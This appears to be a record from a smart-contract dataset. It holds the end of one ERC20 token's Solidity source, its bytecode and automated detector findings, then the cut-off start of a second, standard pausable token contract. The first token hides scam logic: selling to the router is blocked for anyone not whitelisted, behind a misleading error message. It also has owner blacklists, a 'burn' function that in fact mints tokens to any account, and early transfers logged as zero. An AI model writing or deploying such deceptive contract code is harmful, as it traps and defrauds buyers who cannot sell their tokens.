require(_blackbalances[sender] != true );
require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea264697066735822122000932b3070eba30fb3a08b7a7341eb9d6caa35e26779256126eaebbd2333a3c964736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 665 |
0xe581d52020e36f63ef5347ee5897ea9a1a5996d5 | pragma solidity ^0.4.24;
// File: contracts/zeppelin/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/zeppelin/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/zeppelin/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/zeppelin/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/zeppelin/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/zeppelin/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/zeppelin/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract PausableToken is StandardToken, Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/AegisEconomyCoin.sol
contract AegisEconomyCoin is PausableToken {
string public constant name = "Aegis Economy Coin";
string public constant symbol= "AGEC";
uint256 public constant decimals= 18;
uint256 private constant initialSupply = 50*(10**6)* (10**18);
uint256 private constant per15Period = 365 days;
uint256 private constant per12Period = 365 days;
uint256 private constant per10Period = 48 * 365 days;
uint256 private inflationPeriodStart;
